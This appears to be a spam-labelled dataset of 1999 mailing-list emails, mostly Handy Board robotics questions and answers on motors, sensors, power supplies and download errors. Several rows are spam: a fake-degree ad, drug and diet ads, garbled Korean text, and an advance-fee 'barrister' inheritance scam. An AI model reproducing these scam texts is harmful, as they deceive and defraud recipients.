the above matter. Thank You. Regards, William ",0,0 Gary Livick ,"""T.C."" ","Sat, 09 Oct 1999 09:37:41 -0700",Re: Motors,"Tim, Check out www.acroname.com. They have motors there that are a little slow, but are geared DC and run with the HandyBoard 9.6 volts. Use larger wheels to get more speed, or...... If you want the motors to be faster, you can pull one of the L293D chips out, and run the signals from its socket over to a new board of your own construction. On that board, you can use 12 vdc, or more, to run the motors to make them faster and stronger. Good luck, Gary Livick ""T.C."" wrote: > Does anyone know where to get good motors that work > good with the handyboard. I need geared DC motors > because we dont want our project to be a racing car. > If anyone has any answers or suggestions please email > me back. Thanks. > > TIM > > ===== > > __________________________________________________ > Do You Yahoo!? > Bid and sell for free at http://auctions.yahoo.com ",0,1 Peter ,Handy Board Mailing List ,"Sat, 09 Oct 1999 21:13:45 -0400",IR reflective sensors and Polaroid 6500 w/Expansion Board,"With the QRB1114 IR reflective sensors does the sensor need voltage supplied or is that just for the transmitter? Because all I am using them for right now is to detect infrared light. Also does the expansion board take up the connectors on the HB that the normal Polaroid drivers use? Thanks, -- --Peter Eacmen eacmen@att.net ",0,0 Meabadboy@aol.com,handyboard@media.mit.edu,"Sat, 09 Oct 1999 21:40:57 -0400",someone looking for gearbox???,someone was asking about a gearbox for a project ` while surfing tonight I came across this I hope it is what you need Gearbox with motor http://www.imagesco.com/catalog/Gearbox/Gearbox.html Steve,0,1 rjcarmichael ,handyboard@media.mit.edu,,"Passed over again for that promotion, no Degree? ","@ Genuine University Degree 1n 4-6 weeks! H@ve you ever thought that the only thing stopping you from a great job and better pay was a few letters behind you name? Well now you can get them! BA BSc MA MSc MBA PhD Within 4-6 weeks! No Study Required! 100% Verifiable! These are real, genuine degrees that include Bachelors, Masters, MBA and Doctorate Degrees. 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But if I > disconnect the output from the HB, and read the voltage it is 0,2 V. , > equivalent to 20 C, which is correct. > > So I have no idea why this happen, I have used a Hall effect sensor > (UGN3503, which has also analog output) and no problem, the HB reads it > perfectly and without any adapter. > > Well, I hope that someone have some idea to share. > > Thank You. > > José Luis > >",0,0 �� ���� ,handyboard@media.mit.edu,"Sun, 19 Jun 1932 01:15:43 +0000",����� �湮���� �Ϲ��ۼ�Ʈ �����մϴ� ���ٴٷ�,���� ���� ���� ������ ��������                                                                                                                                                                                        �� �� �� ��  �� ��       ���� ���� ���� �� ��       �� �� �� �� �� �� �� ����         �� ������ ������     �� �� �� �� �� �� ��������   �� �� ��  �������� �� ��     �� �� �� �� ��  ���� ������,1,1 Jan Cassidy ,handyboard@media.mit.edu,"Wen, Mon, 11 Oct 1999 13:04:59 -0900",sexy baby and bad erection? ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. 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In your message you said: > I have heard of USB to RS232 adapters- I was wondering if anyone has had any > luck in using these devices to connect to the Handyboard? I recently purchase d > a new computer, but it only has 4 USB ports, and no RS232 ports!. > ",0,1 kim kubik ,9fans@cse.psu.edu,"Mon, 11 Oct 1999 15:15:59 -0700",Re: [9fans] Sun Ray: Deja vu,"The following came across: -----Original Message----- From: steve.kilbane@ind.alstom.com To: 9fans@cse.psu.edu <9fans@cse.psu.edu> Date: Tuesday, October 05, 1999 10:55 AM Subject: [9fans] Sun Ray: Deja vu > >Sun's web site is currently full of ""Sun Ray"", its devastating new breakthrough >in systems design, moving all the computation back into a central powerful >server, and putting dumb, exchangable bitmap/keyboard/mouse units on the >desktop. > >Roughly speaking, this seems to take the hardware/administration aspects of the >Plan 9 model, and apply them in a blunt manner to the existing Solaris system, >with no other changes. > >I vaguely recall Brazil having a different graphics model, more suited to >exploiting high-bandwidth networks. That wouldn't be another unrecognised >ancestor of this, would it? > >steve > and so: (DANGER: Long Boring Message Ahead) This idea of local processing for the interactive user stuff and 'down the wire' processing of the big stuff and the storage is nearly thirty years old. A lot had the beginnings at Cambrdige (UK), but without the benefit of the DARPA billions available in the US, much of this work never got beyond the prototype/proof of concept stage. Obviously, there won't an exact one-to-one mapping for systems using 1999 hardware (e.g. SunRay), but the fundamental approach is quite similar. For example, 'RAINBOW - A Multi-Purpose CAD System' (Software-Practice & Experience (1972) v2, p239) describes a distributed system with a PDP-7 on the user desk (whopping 8K of store) with light pen, stylus tablet, teletype, and CRT, connected to a TITAN computing system with 128K store, paper and mag tapes, plotters/printers, etc. To quote, ""give users many of the facilities of fully interactive computing without the overhead of stagnant programs in core awaiting terminal I/O."" If you look at dmr's 'History of Unix' pages you'll see that sperm-meets-egg at the scanned PDF of Martin Richards BCPL manual, given to Ken Thompson (I assume) while Richards was at MIT on sabbatical from Cambridge. Richards was a rather unprolific publisher, but you find his ideas pervading almost everything with a cpu these days. I assume he lectured to Bjarne Stroustrup and gave him a few pointers on techniques for handling complexity in large systems, maybe even pointing him to the 'Lauer-Needham Duality Hypothesis'. At Xerox PARC during this period (the mid-1970s) Warren Teitelman brought some ideas from MIT, e.g. 'A Display Oriented Programmer's Assistant' (Int. J. Man-Machine Studies (1979) v11, p157), an InterLisp system which the user had a minicomputer to handle the bit-map display, windows and mouse, with PDP-10/Tenex networked in to run the Lisp interpreter. The Acme/Wily folks might recognize the meaning of a quote from that paper: ""any text that is displayed on the screen can be pointed at and treated as input, exactly as though it were typed."" And if you check AT&T's 'new' Cambrige Labs (www.cam-orl.co.uk/ring.html) you'll see that ""the first high speed digital network platform was the Cambridge Fast Ring."" One project that utilized this slotted ring was an update of the RAINBOW, this one using a 68000 cpu and 2901 bit-slice processor to handle the display and window system. This distributed system used Martin Richards TRIPOS (Software-Practice & Experience (1979), v9, p513) portable OS on the desktop machine, the file servers, and the minicomputers in the 'cpu pool' or 'processor bank'. This gave invariant response time for user interaction but will full scale processing available down-the-wire'. They even developed a fonts & typesetting system ('use ELF for your elf-abets') and the Rainbow allowed ""an undergraduate project to enable eight different published methods for performing the anti-aliasing calculation to be compared. Only a windowing display with grey-level capability could do this at all, and only the Rainbow could do it as responsively."" ('Computer Bulletin' (Dec. 1995, p. 25). And to finish up, at PARC (they did a lot of cross-breeding with Cambridge) Warren Teitelman published ""A Tour Through Cedar"" (IEEE Software,(1984) v1, n2, p.44) which describes a networked environment using the Dorado on the desktop and 'tiling' on the screen: ""it is one of the most widely discussed aspects of the Cedar user interface, and often leads to heated, religious debates between its adherents and advocates of overlapping windows."" And then Teitelman went to Sun Microsystems. And now we have the fabulous 'new' SunRay. The future's so bright I gotta wear shades.",0,0 """T.C."" ",handyboard@media.mit.edu,"Mon, 11 Oct 1999 15:49:15 -0700",Stepper Motors,"Can anyone give me a sample program on how to control a stepper motor and were is a good place to but some that work good with the handy board. TIM ===== __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 Mike Schubert ,handyboard@media.mit.edu,"Tue, 12 Oct 1999 09:14:59 +0000",Re: Error at address 0x0000," Hello, i have the same problem with the Error at address 0x0000. First i checked the hardware (Ram,Latch...) but i cant't find a bug. In the archive i found this message that descibe a softwarebug on faster machines. But i tested HBDL with a P133 and P60. With the same wrong result :-( I think this machines are slow enough ;-) Has anybody some other ideas what's happen? -- sincerely Mike Schubert _ |_| Mike Schubert Tel.: ++49-351-3 18 09 15 | |__ interface business GmbH Fax.: ++49-351-3 36 11 87 | |_ | Naumannstrasse 1 E-Mail: mike.schubert@ifbus.de |____| D-01309 D R E S D E N HTTP: www.ifbus.de/~schubi ""FreeBSD is like a wigwam, no windows, no gates and an apache inside."" On Wed, 8 Sep 1999 handyboard@media.mit.edu wrote: > Dear Jacob, > > the same problem i have solved 4 days. Is solved now, but must prepare the > new files ready to send to others. > > Now i can recommend. > > 1. There is a SW waiting loop which length is short for quicker CPU. > 2. Use a Pentium till 200 MHz for downloading with the HBDL.EXE > 3. Use a Pentium till 150 MHz for downloading with Charles Hacker > HandyBoard.exe > ... > > >Hello, > > > >I've made it up to step 6.0.5 of assembling my first handyboard. I > >purchased the unassembled components from Patrick Hui, so there may be 1 > or > >2 substitutes, but everything's gone smoothly so far. All previous > >assembly and testing steps have been completed successfully. > > > >When I power the board on, the 16 blocks appear on the LCD. They aren't > >faint though, they're pretty dark. The yellow charge LED flashes > >continuously. > > > >I power on while holding Stop to get into bootstrap mode. The 16 dark > >blocks appear on the LCD, and the charge LED doesn't flash. > > > >I run HBDL and choose to download pcode_hb.s19. The monitor downloads > >successfully, but as soon as the code begins to download I get the > >following message from HBDL: ""Error at address 0x000"" > >.... ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 12 Oct 1999 12:48:05 -0700",[DMDX] 1.1.12," Later today I'll probably be releasing DMDX 1.1.12. It contains an interesting fix for another MS Word weirdness where someone had accidentally turned on the page numbering. What this produced was a error message from DMDX complaining that there was an item number missing and the item it displayed was the parameter line, whereas in Word of course the first line was in fact the parameter line, hmmm. I've managed to make DMDX 1.1.12 ignore that particular stuff from Word, however FYI, if you have trouble with DMDX like this again where it's complaining about something that makes no sense whatsoever you can look at two files that DMDX produces, rtfparsed.itm and scrambled.itm. These are the text (not RTF) files produced as DMDX gets around to running your item and syntax errors reported by DMDX are actually in these files (unless it's an RTF control word DMDX doesn't know, then it's in the actual RTF item file). So when I looked at rtfparsed.itm I could see that instead of the file beginning with the parameter line it started with PAGE 9 and a couple of blank lines and then parameter line, so the parameter line was being interpreted as an item and of course it didn't have an item number. The reason I won't release it till later today is that I am filling out the section at the end of the input section in the DMDX help file detailing our results w.r.t. Moyers' article. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To teach is to learn. ",0,0 """Mulampaka, Kalyan (GEIS, ASI)"" ",handyboard@media.mit.edu,"Tue, 12 Oct 1999 14:56:52 -0400",IR sensor for Program download to HandyBoard ??,"Hi , I am new to Handyboard and have these IR questions. Can the IR sensor be used to download programs to the HandyBoard? my idea is to dynamically load programs to the handyboard using IR communication . or Can RF communication be used? Is is possible??? Thanks in advance Kalyan Mulampaka Software Engineer e Information Services ___________________________ Ph#: (770) 698 4436 (O) (678) 320 0783 (R) ",0,0 Sean Verret ,"""T.C."" , handyboard@media.mit.edu","Tue, 12 Oct 1999 15:03:52 -0700",RE: Stepper Motors,"http://www.ee.ualberta.ca/~verret/ee401/ goto the interactive c page .-----Original Message----- .From: T.C. [mailto:dab8rs_85@yahoo.com] .Sent: Monday, October 11, 1999 3:49 PM .To: handyboard@media.mit.edu .Subject: Stepper Motors . . .Can anyone give me a sample program on how to control .a stepper motor and were is a good place to but some .that work good with the handy board. . . TIM . . .===== . .__________________________________________________ .Do You Yahoo!? .Bid and sell for free at http://auctions.yahoo.com . ",0,1 Charles Hacker ,Mike Schubert ,"Wed, 13 Oct 1999 12:14:01 +1000",Re: Error at address 0x0000,"Hi, That error message is actually to do with a fault in the Borland Delphi code for serial transfer, NOT a fault with the HandyBoard! (I use the same Delphi code in my HandyBoard terminal program as the program HBDL). It appears to manily occur on faster machines. I only have P1 computers to work with, so am not able to reproduce the problem. When I get time, and access to a faster machine, I will look into the problem. (At least for the HandyBoard.exe program). > Hello, > > i have the same problem with the Error at address 0x0000. > > First i checked the hardware (Ram,Latch...) but i cant't find a bug. > > In the archive i found this message that descibe a softwarebug on faster > machines. > But i tested HBDL with a P133 and P60. With the same wrong result :-( > > I think this machines are slow enough ;-) > > Has anybody some other ideas what's happen? > > -- > sincerely > Mike Schubert > _ > |_| Mike Schubert Tel.: ++49-351-3 18 09 15 > | |__ interface business GmbH Fax.: ++49-351-3 36 11 87 > | |_ | Naumannstrasse 1 E-Mail: mike.schubert@ifbus.de > |____| D-01309 D R E S D E N HTTP: www.ifbus.de/~schubi > > ""FreeBSD is like a wigwam, no windows, no gates and an apache inside."" > > On Wed, 8 Sep 1999 handyboard@media.mit.edu wrote: > > > Dear Jacob, > > > > the same problem i have solved 4 days. Is solved now, but must prepare the > > new files ready to send to others. > > > > Now i can recommend. > > > > 1. There is a SW waiting loop which length is short for quicker CPU. > > 2. Use a Pentium till 200 MHz for downloading with the HBDL.EXE > > 3. Use a Pentium till 150 MHz for downloading with Charles Hacker > > HandyBoard.exe > > ... > > > > >Hello, > > > > > >I've made it up to step 6.0.5 of assembling my first handyboard. I > > >purchased the unassembled components from Patrick Hui, so there may be 1 > > or > > >2 substitutes, but everything's gone smoothly so far. All previous > > >assembly and testing steps have been completed successfully. > > > > > >When I power the board on, the 16 blocks appear on the LCD. They aren't > > >faint though, they're pretty dark. The yellow charge LED flashes > > >continuously. > > > > > >I power on while holding Stop to get into bootstrap mode. The 16 dark > > >blocks appear on the LCD, and the charge LED doesn't flash. > > > > > >I run HBDL and choose to download pcode_hb.s19. The monitor downloads > > >successfully, but as soon as the code begins to download I get the > > >following message from HBDL: ""Error at address 0x000"" > > >.... > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,0 Bruce Moore ,handyboard@media.mit.edu,"Wed, 13 Oct 1999 07:19:41 -0400",Motor Controller Question,"From what I could figure out from the literature on the HB, the motor controller circuit is controlled by Port B on the 6811. With a little tinkerin last nite I was trying to set/reset some of the pins poking values into $1004 (Got this from ""An Introduction to the 6811"" by Fred. I assumed that the miniboard used the same port for motor control that the HB does). It didn't seem to work. No changes at the l293 inputs. So...... I got to wonderin..... Are the PWM routines overriding my changes. If so, is there a way to disable the PWM so that I could use those outputs. For what I'm trying to do, I don't use the motor controllers and I don't want to give up any of the other input capability. Thanks ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 13 Oct 1999 15:24:00 +0000",Re: Motor Controller Question,"bruce, for the HB you need to write data to $7000 to control the motors. see appendix B of the 6.270 manual at http://el.www.media.mit.edu/projects/handy-board/techdocs/ and also the HB FAQ http://el.www.media.mit.edu/projects/handy-board/faq/ fred In your message you said: > >From what I could figure out from the literature on the HB, the motor > controller circuit is controlled by Port B on the 6811. With a little > tinkerin last nite I was trying to set/reset some of the pins poking values > into $1004 (Got this from ""An Introduction to the 6811"" by Fred. I assumed > that the miniboard used the same port for motor control that the HB does). > It didn't seem to work. No changes at the l293 inputs. So...... I got to > wonderin..... Are the PWM routines overriding my changes. If so, is there > a way to disable the PWM so that I could use those outputs. > > For what I'm trying to do, I don't use the motor controllers and I don't > want to give up any of the other input capability. > > Thanks > ",0,1 said berriah ,handyboard@media.mit.edu,"Wed, 13 Oct 1999 15:53:27 +0000",PWM on tic3,"Hi, I want to get the width of a PWM on TIC3 Channel, I wrote an .asm but it doesn't work, I don't know what's wrong? I need your help. Thanks in advance. Said. Here is the .asm program: #include ""c:\\pcode\\include\\6811regs.asm"" * program equates * variables ORG MAIN_START variable_width3 FDB 0 variable_frst3 FDB 0 subroutine_initialize_module: #include ""c:\\pcode\\include\\ldxibase.asm"" * X now has base pointer to interrupt vectors ($FF00 or $BF00) LDD #ic3Int STD TIC3INT,X LDX #BASE BSET TCTL2,X %00000001 /* Interrupts TIC3,TIC2 rising edge*/ BSET TFLG1,X %00000001 /* Clear IC3,IC2 Flags */ BSET TMSK1,X %00000001 /* Clear Mask For Interrupt */ RTS ic3Int: BRSET TCTL2,X %00000001 second BSET TCTL2,X %00000001 LDD TIC3,X SUBD variable_frst3 STD variable_width3 LDX #BASE BSET TFLG1,X %00000001 RTI second BSET TCTL2,X %00000010 LDD TIC3,X STD variable_frst3 LDX #BASE BSET TFLG1,X %00000001 RTI ",0,0 Moose ,independent@cycling.org,"Wed, 13 Oct 1999 15:49:06 -0400",computer software,"i have been trying to set up software to handle an independent courrier business: database for customer contacts, keeping track of accounts, billing etc... Ive got filemaker pro on my system and heard that it would work fine. Im still stumbling around it trying to set something up, tohugh. Is anyone using this software? Are you happy with it? Do you have any hints or tips to share with me? possibly share the template your using? are there any other programs out there that work well? thank you Matt P ",0,0 rob ,9fans@cse.psu.edu,"Wed, 13 Oct 1999 13:03:01 -0400",[9fans] Plan 9 Local Resources ....,"Here is the current, recently updated contents of the master file of device characters root / audio A boot B bridge B sac C ssl D mpeg E tinyfs F astar G ata H hard H ip I isdn J conc K lpt L mnt M iproute P arch P icmp Q cdrom R scsi S lm78 T kprof T pri T sdp T usb U lml V voice V tv V cd W alacron X atm a bit b cons c dup d env e floppy f astar g draw i dk k ether l lance l midi m mouse m proc p rtc r srv s ns16552 t z8530 t duart t ns16552 t vga v sd w wren w xsrv x pcmcia y i82365 y intrts z mntstats z pipe | ",0,0 Frankie Lai <97139371d@polyu.edu.hk>,handyboard@media.mit.edu,"Wed, 13 Oct 1999 19:56:13 +0000",HandyBoard and Mini SSC-II,"HiHi, I am a final year student in HongKong, I'm now trying to build a 6-legged robot, with 2 servos per leg. I would like to use the Handyboard interfacing with 2 Mini SSC-II servo controller, but since I am a new player in robotics, I do not know how to do this. In addition, my programming skill is not good enough, can anyone give me a piece of advise, and the codes if possible. Thanks for help. Frankie Lai ",0,0 Gary Livick ,handyboard@media.mit.edu,"Wed, 13 Oct 1999 17:01:00 -0700",interfacing the GP2D12,"Somebody asked the other day about a problem interfacing the Sharp GP2D12. I didn't see an answer, and I just did it myself and solved the problem, so here is how to do it. For those who don't know, Sharp just came out with an IR ranging sensor good out to about 30 inches that provides an analog signal related to range. The signal is not linear, but that can be dealt with in software. The area examined by the sensor is very narrow, so by mounting it on a small servo and sweeping it while gathering range data, a lot if information can be obtained about the immediate surroundings. The GP2D12 has a few advantages over sonar; 1. it is good down to about 5"", 2. it is less than $15.00, 3. it refreshes about every 32 ms, and 4. it does not require a driver, you just plug it in and start reading data. Hooking it up has one small gotcha with the HandyBoard and probably most of the other MIT-spawned boards as well. The output of the sensor wants to see a floating pin, but the analog inputs on the HandyBoard are pulled high by RP3, a 47k resistor pack. To connect the sensor to the HandyBoard, you have to cut a trace so the input can float on that pin. That is easy enough to do, as the traces on the main board are easy to identify, and easy to repair if you change your mind later and want to restore the pin to normal. However, some care must be taken to choose a pin for an input. If you just cut a trace for a pin at random, due to the way the circuit is layed out you may just isolate the input pin from the HC11 instead of removing the pull-up voltage. Unless you want to figure out what I'm talking about, use analog 5 to connect your GP2D12. Trimming the trace between RP3 and that pin has the anticipated result. The sensors are available at http://www.acroname.com Check out some of my robots in the gallery while you are there. Gary Livick ",0,1 pgasparik ,handyboard@media.mit.edu,"Thu, 14 Oct 1999 01:06:48 +0000",Upgading HB to 64K,"Please follow the link bellow if you are interested in upgrading memory on your HandyBoard to 64KB. Note that this upgrade is currently being tested only on HB running the Java VM. http://members.xoom.com/_XOOM/simpleRTJ/hb64k.html Peter Gasparik ",0,1 Meredith Smallwood ,handyboard@media.mit.edu,"Thu, 14 Oct 1999 04:05:07 +0600",Doesn't Keep You Up At Night...Stimulant Free ,"From NBC Today Show: It's the look everyone wants � a body to diet for. They're on the beaches, in magazines and all over Hollywood. How far will we go to get one? How about thousands of miles and deep into a distant culture? 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When I poke a value into $7000 I can see the corresponding input pin on the l293 react. But it will not stay in the position that I set it to. It will return back to the initial state within a msec. It looks like the PWM routines are reseting the pins to whatever values they want. Is there a way to disable the PWM routines short of modifying pcode. I'm hoping that some clever person left a software switch in to do just that. Thanks again Bruce Moore bamoore@bloomington.in.us ",0,0 Paul DaCosta ,Handyboard ,"Thu, 14 Oct 1999 16:29:03 -0400",NEW POWER SUPPLY,"I NEED TO KNOW THE EXACT STEPS TO CONNECT A NEW MOTOR POWER SUPPLY TO THE HANDYBOARD WHILE IS HAS THE EXTENSION BOARD CONNECTED TO IT. IT'S TO MY UNDERSTANDING THAT THE EXTENSION BOARD SHARES THE SAME SLOT AS THE NEW MOTOR POWER SUPPLY, IS THE ANY DOCUMENTATION UNDER THE HANDYBOARD HOMEPAGE THAT WITH DESCRIBE HOW TO DO THIS THIS PROBLEM SHOULD BE ADDRESSED TO FRED MARTIN, SINCE THE EXTENSION BOARD AND NEW MOTOR POWER SUPPLY ARE COMMON ADJUSTMENTS WE ALL ARE FACED WITH. MAYBE SOME OFFICIAL DUCUMENTATION SHOULD BE PRINTED UP THANKS A LOT BEST REGARDS, PAUL DACOSTA, PROJECT ENGINEER ",0,0 Matt Austin ,Gary Livick ,"Thu, 14 Oct 1999 21:48:00 +0100",Re: interfacing the GP2D12,"Thats great Gary, This was the same conclusion that I'd come to myself, however I've now run into another problem with the otherwise brilliant 'D12 sensor. I'm currently using the Digitalker speech system from Jameco, and when the 'D12 is plugged in (I.e transmitting) it causes a lot of noise on the speaker, and on any other speaker in the vicinity for that matter. Is there anything to be done, shielding the 'D12 somehow? Any ideas? Thanks, Matt -----Original Message----- From: Gary Livick To: handyboard@media.mit.edu Date: 14 October 1999 02:18 Subject: interfacing the GP2D12 >Somebody asked the other day about a problem interfacing the Sharp >GP2D12. I didn't see an answer, and I just did it myself and solved the >problem, so here is how to do it. > >For those who don't know, Sharp just came out with an IR ranging sensor >good out to about 30 inches that provides an analog signal related to >range. The signal is not linear, but that can be dealt with in >software. The area examined by the sensor is very narrow, so by >mounting it on a small servo and sweeping it while gathering range data, >a lot if information can be obtained about the immediate surroundings. > >The GP2D12 has a few advantages over sonar; 1. it is good down to about >5"", 2. it is less than $15.00, 3. it refreshes about every 32 ms, and >4. it does not require a driver, you just plug it in and start reading >data. > >Hooking it up has one small gotcha with the HandyBoard and probably most >of the other MIT-spawned boards as well. The output of the sensor wants >to see a floating pin, but the analog inputs on the HandyBoard are >pulled high by RP3, a 47k resistor pack. To connect the sensor to the >HandyBoard, you have to cut a trace so the input can float on that pin. >That is easy enough to do, as the traces on the main board are easy to >identify, and easy to repair if you change your mind later and want to >restore the pin to normal. However, some care must be taken to choose a >pin for an input. If you just cut a trace for a pin at random, due to >the way the circuit is layed out you may just isolate the input pin from >the HC11 instead of removing the pull-up voltage. Unless you want to >figure out what I'm talking about, use analog 5 to connect your GP2D12. >Trimming the trace between RP3 and that pin has the anticipated result. > >The sensors are available at http://www.acroname.com Check out some of >my robots in the gallery while you are there. > >Gary Livick > >",0,1 Gary Livick ,Paul DaCosta ,"Thu, 14 Oct 1999 13:55:04 -0700",Re: NEW POWER SUPPLY,"This was explained a week or two ago here on the list server. Check back and you'll find out what traces to cut, etc. However, I have found another way that is very simple, and does not require you to make difficult-to-fix cuts on your boards. Just add another 16 pin socket onto the user area on your expansion board. Remove one of the L293 chips and set it aside. Use 20 ga solid hook-up wire, and take all the signals, the 5v and ground line from the socket with the removed chip over to the new socket. You can push the wires into the socket at the old location, and solder at the other socket. Don't connect the motor leads from the old socket to the new. Instead, connect the motors you want to use to the motor output ports on the new socket. Bring the power leads from your REALLY BIG battery to the new socket, and connect +12 to pin 8 and common to the board common (on the socket). Plug the L293 into the new socket and hang on, we're goin' places! I just did this, and it works great. If you have the room for a seperate board, you can build this up and include a charger plug-in same as what is on the HandyBoard. That way you can use the HandyBoard charger to charge your 12 volt gel cell. You can also hang lots of motor-direction LED's and a charge light if you want. Total cost is less than two donuts. Time is about two hours to wire up. Gary Livick Paul DaCosta wrote: > I NEED TO KNOW THE EXACT STEPS TO CONNECT A NEW MOTOR POWER SUPPLY TO > THE HANDYBOARD WHILE IS HAS THE EXTENSION BOARD CONNECTED TO IT. > > IT'S TO MY UNDERSTANDING THAT THE EXTENSION BOARD SHARES THE SAME SLOT > AS THE NEW MOTOR POWER SUPPLY, IS THE ANY DOCUMENTATION UNDER THE > HANDYBOARD HOMEPAGE THAT WITH DESCRIBE HOW TO DO THIS > > THIS PROBLEM SHOULD BE ADDRESSED TO FRED MARTIN, SINCE THE EXTENSION > BOARD AND NEW MOTOR POWER SUPPLY ARE COMMON ADJUSTMENTS WE ALL ARE FACED > WITH. MAYBE SOME OFFICIAL DUCUMENTATION SHOULD BE PRINTED UP > > THANKS A LOT > > BEST REGARDS, > > PAUL DACOSTA, > PROJECT ENGINEER ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Thu, 14 Oct 1999 14:46:38 -0700",Re: NEW POWER SUPPLY,"Great solution Gary! How about just pulling the L293D/SN754410 from the U11 socket, bending pin-8 out and soldering the REALLY BIG battery positive lead to it, then soldering the negative lead to pin-1 without bending it out, and then reinstalling the chip. It doesn't save much money since there wasn't much money involved, but it does save quite a bit of time. Biggest benefit is that if you use the HB on more than one project, all that needs to be done to switch back and forth is to have an extra chip on hand ... swap the modified chip for the unmodified one. Your method provides and very easy way to change the driver chip to a much higher power chip such as the 298L. - Nick - Gary Livick wrote: > > This was explained a week or two ago here on the list server. Check back > and you'll find out what traces to cut, etc. > > However, I have found another way that is very simple, and does not require > you to make difficult-to-fix cuts on your boards. Just add another 16 pin > socket onto the user area on your expansion board. Remove one of the L293 > chips and set it aside. Use 20 ga solid hook-up wire, and take all the > signals, the 5v and ground line from the socket with the removed chip over > to the new socket. You can push the wires into the socket at the old > location, and solder at the other socket. Don't connect the motor leads > from the old socket to the new. Instead, connect the motors you want to > use to the motor output ports on the new socket. Bring the power leads > from your REALLY BIG battery to the new socket, and connect +12 to pin 8 > and common to the board common (on the socket). Plug the L293 into the new > socket and hang on, we're goin' places! > > I just did this, and it works great. If you have the room for a seperate > board, you can build this up and include a charger plug-in same as what is > on the HandyBoard. That way you can use the HandyBoard charger to charge > your 12 volt gel cell. You can also hang lots of motor-direction LED's and > a charge light if you want. > > Total cost is less than two donuts. Time is about two hours to wire up. > > Gary Livick ",0,0 Gary Livick ,Nick Taylor ,"Thu, 14 Oct 1999 15:25:17 -0700",Re: NEW POWER SUPPLY,"That is the same thing, except much easier. Plus we save donut money. However, we'd have to look at the effect of 7 volts reverse bias on the motor LED's. Plus, we'd have to make real sure not to short the bent pin 8 to the socket underneath it. That would put 12 vlots on our 5 volt line with interesting results. Gary Nick Taylor wrote: > Great solution Gary! How about just pulling the L293D/SN754410 from > the U11 socket, bending pin-8 out and soldering the REALLY BIG battery > positive lead to it, then soldering the negative lead to pin-1 without > bending it out, and then reinstalling the chip. It doesn't save much > money since there wasn't much money involved, but it does save quite > a bit of time. Biggest benefit is that if you use the HB on more > than one project, all that needs to be done to switch back and forth > is to have an extra chip on hand ... swap the modified chip for the > unmodified one. > > Your method provides and very easy way to change the driver chip to > a much higher power chip such as the 298L. > > - Nick - > > Gary Livick wrote: > > > > This was explained a week or two ago here on the list server. Check back > > and you'll find out what traces to cut, etc. > > > > However, I have found another way that is very simple, and does not require > > you to make difficult-to-fix cuts on your boards. Just add another 16 pin > > socket onto the user area on your expansion board. Remove one of the L293 > > chips and set it aside. Use 20 ga solid hook-up wire, and take all the > > signals, the 5v and ground line from the socket with the removed chip over > > to the new socket. You can push the wires into the socket at the old > > location, and solder at the other socket. Don't connect the motor leads > > from the old socket to the new. Instead, connect the motors you want to > > use to the motor output ports on the new socket. Bring the power leads > > from your REALLY BIG battery to the new socket, and connect +12 to pin 8 > > and common to the board common (on the socket). Plug the L293 into the new > > socket and hang on, we're goin' places! > > > > I just did this, and it works great. If you have the room for a seperate > > board, you can build this up and include a charger plug-in same as what is > > on the HandyBoard. That way you can use the HandyBoard charger to charge > > your 12 volt gel cell. You can also hang lots of motor-direction LED's and > > a charge light if you want. > > > > Total cost is less than two donuts. Time is about two hours to wire up. > > > > Gary Livick ",0,0 Giang Tran ,handyboard@media.mit.edu,"Thu, 14 Oct 1999 18:33:01 -0500",Re: NEW POWER SUPPLY,"What about this idea? Cut the motor trace as per on Fred's website....than desolder the motor power header (the one that plug into the Handy board) on the expansion board and flip the header upward and resolder it to the expansion board. Then reuse this header by jumping the 9.6V from the Handy Board and plug it into this header, this way, you still get the proper voltage for the servo output on the expansion board. For the new motor supply, just plug it into the Handy Board's orignal motor power header and there ya go. Works great for me and my board still look as good as ever! ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Thu, 14 Oct 1999 16:36:27 -0700",Re: NEW POWER SUPPLY,"I think you win the prize for the best solution Giang! - Nick - Giang Tran wrote: > > What about this idea? Cut the motor trace as per on Fred's website....than > desolder the motor power header (the one that plug into the Handy board) on > the expansion board and flip the header upward and resolder it to the > expansion board. Then reuse this header by jumping the 9.6V from the Handy > Board and plug it into this header, this way, you still get the proper > voltage for the servo output on the expansion board. For the new motor > supply, just plug it into the Handy Board's orignal motor power header and > there ya go. Works great for me and my board still look as good as ever! ",0,0 Alex Stewart ,handyboard@media.mit.edu,"Thu, 14 Oct 1999 17:52:54 -0700",Start_process problem,"Hi When I try to start a process , the code downloads fine , it runs on the board with no errors but it only excutes the first proceess once and none of the others. void main() { start_process(fwrd()); start_process(checkir()); start_process(checkbumpers()); } fwrd is just fd(1) fd(2) check IR is one checking digital(4) an turning the bot 80 degrees amd check bumpers checks a bumper array and moves the bot with the same function as checkir any suggestions? PS I know the code works because ive used in : void main() { fwrd(); checkir(); checkbumpers(); } I would use the above code but it taxes the processor to much for me to run anything else ie: low level vision , maze algotrithm thanx -robotman ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Private ,gracedimitris@mail.gr,"Fri, 15 Oct 1999 01:44:23 -0000",Re: Wating for your responce,"Dear Sir. I am Barrister Abbas Duruh(Esq.), a Senegalese Solicitor & Financial Attorney/Consultant.I decided to send this first letter write through email while subsequent ones would be secured. I was the personal attorney to late Mr. Essam Panak a foriegn contractor who died among many others in a car accident along Sicap Express Road in Dakar Senegal. Before his death, he was an expatriate mining consultant and Gold/diamond machant within West Africa sub-region. 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Thank you in advance C.H.Han ",0,0 Andrew Walker ,handyboard@media.mit.edu,"Fri, 15 Oct 1999 04:59:46 +0000",re: start_process problem,"My suggestion is to double check that you double check the simple things withing the code (your code should be executing an infinite loop) while(1) { code .... } If the code is more complex and involves external assembly modules, check that they aren't damaging the multitasker (writing to unknown memory adresses etc.) Then check that the start process is allocating enough space on the stack and time cycles. If it still fails try to reload your pcode and library files, and make sure that no problems are occuring because of data corruption. good luck! ",0,0 """Fred G. 